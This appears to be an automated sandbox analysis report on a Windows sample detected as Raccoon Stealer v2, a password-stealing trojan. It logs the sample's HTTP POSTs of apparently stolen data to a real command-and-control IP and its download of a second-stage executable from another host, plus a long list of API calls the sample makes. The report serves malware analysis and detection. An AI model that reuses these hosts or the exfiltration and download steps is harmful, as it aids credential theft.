Aug 13, 2024 10:21:21.913453102 CEST	239	OUT	POST /098e00d7c477aadee19feb075a6b5030 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=i4MsI558p6H0gSks User-Agent: Xmlst Host: 193.142.147.59 Content-Length: 10654 Connection: Keep-Alive Cache-Control: no-cache
Aug 13, 2024 10:21:22.135627985 CEST	972	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 13 Aug 2024 08:21:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 8 Connection: keep-alive Content-Security-Policy: default-src 'self';base-uri 'self';block-all-mixed-content;font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin X-DNS-Prefetch-Control: off Expect-CT: max-age=0 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff Origin-Agent-Cluster: ?1 X-Permitted-Cross-Domain-Policies: none Referrer-Policy: no-referrer X-XSS-Protection: 0 ETag: W/"8-OEKKaYqxIiVAaA56t44dc56a/Rw" Data Raw: 72 65 63 65 69 76 65 64 Data Ascii: received
Aug 13, 2024 10:21:22.313966990 CEST	239	OUT	POST /098e00d7c477aadee19feb075a6b5030 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=9Q0hAo1n3587qrE6 User-Agent: Xmlst Host: 193.142.147.59 Content-Length: 85666 Connection: Keep-Alive Cache-Control: no-cache
Aug 13, 2024 10:21:22.669295073 CEST	972	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 13 Aug 2024 08:21:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 8 Connection: keep-alive Content-Security-Policy: default-src 'self';base-uri 'self';block-all-mixed-content;font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin X-DNS-Prefetch-Control: off Expect-CT: max-age=0 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff Origin-Agent-Cluster: ?1 X-Permitted-Cross-Domain-Policies: none Referrer-Policy: no-referrer X-XSS-Protection: 0 ETag: W/"8-OEKKaYqxIiVAaA56t44dc56a/Rw" Data Raw: 72 65 63 65 69 76 65 64 Data Ascii: received

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49713	185.196.9.251	80	5720	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Timestamp	Bytes transferred	Direction	Data
Aug 13, 2024 10:21:22.708364964 CEST	152	OUT	GET /autotask/Eflbu.exe HTTP/1.1 Content-Type: text/plain; User-Agent: Xmlst Host: 185.196.9.251 Connection: Keep-Alive Cache-Control: no-cache

Target ID:	0
Start time:	04:21:09
Start date:	13/08/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe"
Imagebase:	0x400000
File size:	89'088 bytes
MD5 hash:	093C5901F614540D964109A9AC58A0FF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2246300838.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2248000293.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2186791851.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2246708741.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2247833378.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000002.3418647104.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2247098180.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2247710001.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2253842671.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2248659704.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2208093450.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2244106577.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2245299707.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2216146827.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2248226612.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2_1, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2260346741.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2261702063.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2246968570.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2244966319.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2246450992.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2261100666.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2244674737.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2186677991.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2230213331.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2207244687.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2223211893.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2243905572.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2251534302.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2248914493.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2247464359.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2244408755.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2207869504.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2245104755.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2247342460.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2233693050.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2_1, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000000.2172081165.0000000000412000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2233822452.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2233559298.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2244559080.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2248395447.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2247220737.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2247585846.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2246582942.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2246161943.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2246835134.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000000.00000003.2186878241.000000000068C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	73.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	53.6%
Total number of Nodes:	621
Total number of Limit Nodes:	5

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00401000 Relevance: 1170.6, APIs: 395, Strings: 273, Instructions: 1551
libraryloadertimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,000006B1,00000000,75B4EC10,76227CD0,76229350), ref: 0040101A
FindCloseChangeNotification.KERNEL32(00000000), ref: 00401021
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_hmuz5fn9), ref: 00401030
SetEvent.KERNEL32(00000000), ref: 00401039
ResetEvent.KERNEL32(00000000), ref: 00401040
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML9zp7v7g8), ref: 0040104F
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 00401059
RegOpenKeyExA.KERNEL32(80000001,regevw6vq7j,00000000,00020019,?), ref: 00401079
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_ob22lwnk), ref: 00401083
CancelWaitableTimer.KERNEL32(00000000), ref: 0040108E
GetLastError.KERNEL32 ref: 0040109A
LocalAlloc.KERNEL32(00000000,000008F8), ref: 004010A3
RegOpenKeyExA.KERNEL32(80000001,regzp8q1u6x,00000000,00020019,?), ref: 004010C0
LocalFree.KERNEL32(00000000), ref: 004010C3
OutputDebugStringA.KERNEL32(log: e87n70va), ref: 004010D4
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_759xccm9), ref: 004010DF
CancelWaitableTimer.KERNEL32(00000000), ref: 004010EC
CreateMutexA.KERNEL32(00000000,00000000,MTXrxgvqhaw), ref: 004010F7
ReleaseMutex.KERNEL32(00000000), ref: 00401102
GetLastError.KERNEL32 ref: 00401108
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_8ntu40mj), ref: 00401113
SetEnvironmentVariableA.KERNEL32(91npe4ox,ep3wk031), ref: 00401126
CancelWaitableTimer.KERNEL32(?), ref: 00401134
GetLastError.KERNEL32 ref: 00401136
RegOpenKeyExA.ADVAPI32(80000001,reg2gzhrlec,00000000,00020019,?), ref: 0040114F
GetLastError.KERNEL32 ref: 00401155
CreateMutexA.KERNEL32(00000000,00000000,MTX0shuukbm), ref: 00401160
GetLastError.KERNEL32 ref: 00401168
ReleaseMutex.KERNEL32(00000000), ref: 0040116F
OutputDebugStringA.KERNEL32(log: 9yc21jsz), ref: 0040117A
SetEnvironmentVariableA.KERNEL32(sj007jvz,fnw2w2ab), ref: 00401188
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLycyt8ypl), ref: 00401199
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 004011A3
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,000003AD,00000000), ref: 004011B5
OutputDebugStringA.KERNEL32(log: nq9dztvg), ref: 004011C2
FindCloseChangeNotification.KERNEL32(00000000), ref: 004011C5
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_0q6ih2xa), ref: 004011D6
RegOpenKeyExA.KERNEL32(80000001,regemrhnijm,00000000,00020019,?), ref: 004011F3
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 004011FE
RegOpenKeyExA.KERNEL32(80000001,regvhs59gsp,00000000,00020019,?), ref: 0040121D
SetEnvironmentVariableA.KERNEL32(wzi1rqak,y6vld0xh), ref: 0040122F
LoadLibraryW.KERNEL32(kernel32.dll), ref: 0040123A
CreateMutexA.KERNEL32(00000000,00000000,MTXcva3xyk0), ref: 00401257
ReleaseMutex.KERNEL32(00000000), ref: 00401262
GetLastError.KERNEL32 ref: 0040126A
FindFirstFileA.KERNEL32(s_yp9763pc,?), ref: 00401278
FindClose.KERNEL32(00000000), ref: 0040127F
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_4ad8tlym), ref: 0040128E
CancelWaitableTimer.KERNEL32(00000000), ref: 00401295
OutputDebugStringA.KERNEL32(log: 0nd3b0vm), ref: 004012A3
CreateFileMappingW.KERNELBASE(000000FF,00000006,00000004,00000006,00000361,00000006), ref: 004012B6
FindCloseChangeNotification.KERNEL32(00000000), ref: 004012BD
SetEnvironmentVariableA.KERNEL32(s1gjxwd2,op0cx6gi), ref: 004012CD
LocalAlloc.KERNEL32(00000006,00000887), ref: 004012D9
GetLastError.KERNEL32 ref: 004012E1
LocalFree.KERNEL32(00000000), ref: 004012E4
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_d5mpkoi1), ref: 004012F3
RegOpenKeyExA.KERNEL32(80000001,reg8gr9zbgo,00000000,00020019,?), ref: 00401317
CancelWaitableTimer.KERNEL32(?), ref: 00401321
OutputDebugStringA.KERNEL32(log: vc7gladv), ref: 0040132C
LocalAlloc.KERNEL32(00000000,0000030D), ref: 00401335
LocalFree.KERNEL32(00000000), ref: 0040133C
GetLastError.KERNEL32 ref: 00401342
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLltekvav7), ref: 0040134F
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040135A
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_5xrl5w49), ref: 0040136B
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 00401376
RegOpenKeyExA.KERNEL32(80000001,reg28ynuixx,00000000,00020019,?), ref: 0040139C
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_bzh707jl), ref: 004013A7
GetLastError.KERNEL32 ref: 004013B0
CancelWaitableTimer.KERNEL32(?), ref: 004013BA
OutputDebugStringA.KERNEL32(log: 47kl4iru), ref: 004013C5
RegOpenKeyExA.ADVAPI32(80000001,reguvwdc854,00000000,00020019,?), ref: 004013DE
FindFirstFileA.KERNEL32(s_f1r375bo,?), ref: 004013EC
FindClose.KERNEL32(00000000), ref: 004013F3
CreateMutexA.KERNEL32(00000000,00000000,MTXaomvysm9), ref: 00401402
OutputDebugStringA.KERNEL32(log: 89c11pvd), ref: 00401414
ReleaseMutex.KERNEL32(?), ref: 00401419
GetProcAddress.KERNEL32(?,GetProcAddress), ref: 00401427
SetEnvironmentVariableA.KERNEL32(andeq0vd,wtrk3swd), ref: 0040143C
LocalAlloc.KERNEL32(00000000,00000097), ref: 00401449
LocalFree.KERNEL32(00000000), ref: 00401450
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLlstzkkuo), ref: 00401461
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040146C
OutputDebugStringA.KERNEL32(log: isodsedj), ref: 00401477
GetLastError.KERNEL32 ref: 0040147C
CreateMutexA.KERNEL32(00000009,00000009,MTX26qr7rfg), ref: 0040148A
RegOpenKeyExA.KERNEL32(80000001,reg5s46xkq6,00000000,00020019,?), ref: 004014B2
ReleaseMutex.KERNEL32(?), ref: 004014B7
RegOpenKeyExA.KERNEL32(80000001,regvqmk0jo5,00000000,00020019,0040907F), ref: 004014D2
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_j9o6mq71), ref: 004014DF
SetEvent.KERNEL32(00000000), ref: 004014E8
ResetEvent.KERNEL32(00000000), ref: 004014EF
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_2itsc7j4), ref: 004014FE
SetEnvironmentVariableA.KERNEL32(u4isms9z,4ht4omqp), ref: 00401510
CancelWaitableTimer.KERNEL32(00000000), ref: 0040151D
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_dntrqfr3), ref: 00401528
CancelWaitableTimer.KERNEL32(00000000), ref: 00401533
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000F12,00000000), ref: 00401543
GetLastError.KERNEL32 ref: 0040154B
FindCloseChangeNotification.KERNEL32(00000000), ref: 0040154E
GetLastError.KERNEL32 ref: 00401554
FindFirstFileA.KERNEL32(s_1qrtfisa,?), ref: 00401562
FindClose.KERNEL32(00000000), ref: 00401569
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_7mi6uk4i), ref: 00401579
CancelWaitableTimer.KERNEL32(00000000), ref: 00401580
RegOpenKeyExA.KERNEL32(80000001,regpuqb8mtg,00000000,00020019,?), ref: 0040159A
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML1yif2wps), ref: 004015A9
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 004015B3
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_kz20hauk), ref: 004015C2
SetEvent.KERNEL32(00000000), ref: 004015CB
ResetEvent.KERNEL32(00000000), ref: 004015D2
LocalAlloc.KERNEL32(00000000,00000E4B), ref: 004015DF
LocalFree.KERNEL32(00000000), ref: 004015E6
RegOpenKeyExA.KERNEL32(80000001,reg4svb799r,00000000,00020019,?), ref: 00401607
CreateMutexA.KERNEL32(00000000,00000000,MTXbu1ulph4), ref: 00401612
RegOpenKeyExA.KERNEL32(80000001,regc0oldo1k,00000000,00020019,?), ref: 00401634
ReleaseMutex.KERNEL32(?), ref: 00401639
OutputDebugStringA.KERNEL32(log: 5mf9v8ej), ref: 00401644
GetLastError.KERNEL32 ref: 00401648
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_soa6ozgi), ref: 00401655
GetLastError.KERNEL32 ref: 0040165D
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 00401664
GetLastError.KERNEL32 ref: 0040166E
GetProcAddress.KERNEL32(?,LoadLibraryW), ref: 00401679
GetProcAddress.KERNEL32(?,TerminateProcess), ref: 0040168A
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_s0z9vlos), ref: 004016A0
SetEvent.KERNEL32(00000000), ref: 004016A9
ResetEvent.KERNEL32(00000000), ref: 004016B0
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLkvlfrz72), ref: 004016C1
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 004016CB
GetLastError.KERNEL32 ref: 004016D1
CreateMutexA.KERNEL32(00000000,00000000,MTX1an5cv9k), ref: 004016DA
ReleaseMutex.KERNEL32(00000000), ref: 004016E5
SetEnvironmentVariableA.KERNEL32(gcdv8uvx,fww5ykxy), ref: 004016F5
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000514,00000000), ref: 00401707
RegOpenKeyExA.KERNEL32(80000001,reg719naxf2,00000000,00020019,?), ref: 00401724
FindCloseChangeNotification.KERNEL32(00000000), ref: 0040172B
SetEnvironmentVariableA.KERNEL32(recj5qks,2181ggd4), ref: 0040173B
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_wtnexwiw), ref: 0040174A
OutputDebugStringA.KERNEL32(log: cf2ap146), ref: 00401757
CancelWaitableTimer.KERNEL32(00000000), ref: 0040175E
OutputDebugStringA.KERNEL32(log: conql9xp), ref: 00401770
LocalAlloc.KERNEL32(00000000,00000F21), ref: 00401779
LocalFree.KERNEL32(00000000), ref: 00401780
OutputDebugStringA.KERNEL32(log: 9mhxcwkb), ref: 0040178B
OutputDebugStringA.KERNEL32(log: z1au6bck), ref: 00401792
GetProcAddress.KERNEL32(?,GetUserDefaultLocaleName), ref: 0040179D
GetProcAddress.KERNEL32(?,GetEnvironmentVariableW), ref: 004017A9
GetProcAddress.KERNEL32(?,lstrlenA), ref: 004017BA
GetProcAddress.KERNEL32(?,FreeLibrary), ref: 004017CB
GetProcAddress.KERNEL32(?,GlobalFree), ref: 004017DC
GetProcAddress.KERNEL32(?,CreateFileW), ref: 004017ED
GetProcAddress.KERNEL32(?,GetTimeZoneInformation), ref: 004017FE
GetProcAddress.KERNEL32(?,lstrcpyA), ref: 0040180F
GetProcAddress.KERNEL32(?,ReadFile), ref: 00401820
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_cdxz4w67), ref: 00401836
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 00401840
OutputDebugStringA.KERNEL32(log: 7nk08cm1), ref: 0040184F
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_2t9g2hpf), ref: 0040185A
SetEvent.KERNEL32(00000000), ref: 00401863
ResetEvent.KERNEL32(00000000), ref: 0040186A
OutputDebugStringA.KERNEL32(log: 16ujzsm1), ref: 00401878
CreateWaitableTimerA.KERNEL32(00000009,00000001,WTMR_wyvvis5a), ref: 00401887
SetEnvironmentVariableA.KERNEL32(egcvay9z,m2dnm9cs), ref: 00401899
CancelWaitableTimer.KERNEL32(00000000), ref: 004018A0
SetEnvironmentVariableA.KERNEL32(awwtbsdy,s9lrpaxw), ref: 004018B0
LocalAlloc.KERNEL32(00000000,00000091), ref: 004018BD
GetLastError.KERNEL32 ref: 004018C5
LocalFree.KERNEL32(00000000), ref: 004018C8
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLljz46uce), ref: 004018D9
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 004018E3
OutputDebugStringA.KERNEL32(log: b2w1s67p), ref: 004018EE
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_uxfouxb7), ref: 004018F8
CancelWaitableTimer.KERNEL32(00000000), ref: 00401903
SetEnvironmentVariableA.KERNEL32(jmou9d4q,iqytccdt), ref: 00401913
OutputDebugStringA.KERNEL32(log: 21wtus7d), ref: 00401920
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000106A,00000000), ref: 0040192E
RegOpenKeyExA.KERNEL32(80000001,regblgpzrtw,00000000,00020019,?), ref: 0040194B
FindCloseChangeNotification.KERNEL32(00000000), ref: 00401952
FindFirstFileA.KERNEL32(s_7dotez06,?), ref: 00401964
FindClose.KERNEL32(00000000), ref: 0040196B
GetProcAddress.KERNEL32(?,lstrlenW), ref: 0040197A
GetProcAddress.KERNEL32(?,WriteFile), ref: 0040198B
GetProcAddress.KERNEL32(?,SetCurrentDirectoryW), ref: 0040199C
GetProcAddress.KERNEL32(?,lstrcmpW), ref: 004019AD
GetProcAddress.KERNEL32(?,CloseHandle), ref: 004019BE
GetProcAddress.KERNEL32(?,GetLastError), ref: 004019CF
GetProcAddress.KERNEL32(?,FindNextFileW), ref: 004019E0
GetProcAddress.KERNEL32(?,FindFirstFileW), ref: 004019F1
GetProcAddress.KERNEL32(?,Process32First), ref: 00401A02
GetProcAddress.KERNEL32(?,Process32FirstW), ref: 00401A13
GetProcAddress.KERNEL32(?,GetFileSize), ref: 00401A24
GetProcAddress.KERNEL32(?,OpenMutexW), ref: 00401A35
GetProcAddress.KERNEL32(?,WideCharToMultiByte), ref: 00401A46
GetProcAddress.KERNEL32(?,GlobalAlloc), ref: 00401A57
GetProcAddress.KERNEL32(?,GetCurrentProcess), ref: 00401A68
GetProcAddress.KERNEL32(?,ExitProcess), ref: 00401A79
GetProcAddress.KERNEL32(?,CreateMutexW), ref: 00401A8A
GetProcAddress.KERNEL32(?,GetSystemWow64DirectoryW), ref: 00401A9B
GetProcAddress.KERNEL32(?,GetLocaleInfoW), ref: 00401AAC
GetProcAddress.KERNEL32(?,GlobalMemoryStatusEx), ref: 00401ABD
GetProcAddress.KERNEL32(?,GetDriveTypeW), ref: 00401ACE
GetProcAddress.KERNEL32(?,OpenProcess), ref: 00401ADF
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000C6B,00000000), ref: 00401AF8
SetEnvironmentVariableA.KERNEL32(v6f0bbd4,ye1ustv2), ref: 00401B0A
CloseHandle.KERNEL32(00000000), ref: 00401B11
GetLastError.KERNEL32 ref: 00401B17
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_7kmlu7vv), ref: 00401B24
SetEvent.KERNEL32(00000000), ref: 00401B2D
ResetEvent.KERNEL32(00000000), ref: 00401B34
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_m4ytynfz), ref: 00401B43
SetEnvironmentVariableA.KERNEL32(hg7fsjuh,8z2t8gtj), ref: 00401B55
CancelWaitableTimer.KERNEL32(00000000), ref: 00401B5C
GetLastError.KERNEL32 ref: 00401B62
LocalAlloc.KERNEL32(00000000,00000C86), ref: 00401B6B
GetLastError.KERNEL32 ref: 00401B73
LocalFree.KERNEL32(00000000), ref: 00401B76
FindFirstFileA.KERNEL32(s_kzz02emp,?), ref: 00401B88
FindClose.KERNEL32(00000000), ref: 00401B8F
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_a5lhfpm4), ref: 00401B9F
CancelWaitableTimer.KERNEL32(00000000), ref: 00401BAA
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLo4snug82), ref: 00401BB9
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 00401BC3
RegOpenKeyExA.KERNEL32(80000001,reg05t4u0kk,00000000,00020019,?), ref: 00401BE3
CreateMutexA.KERNEL32(00000000,00000000,MTX52acg1yh), ref: 00401BEE
ReleaseMutex.KERNEL32(00000000), ref: 00401BF9
OutputDebugStringA.KERNEL32(log: vhef2ae3), ref: 00401C04
GetLastError.KERNEL32 ref: 00401C08
RegOpenKeyExA.ADVAPI32(80000001,reg6ggok2ef,00000000,00020019,?), ref: 00401C1F
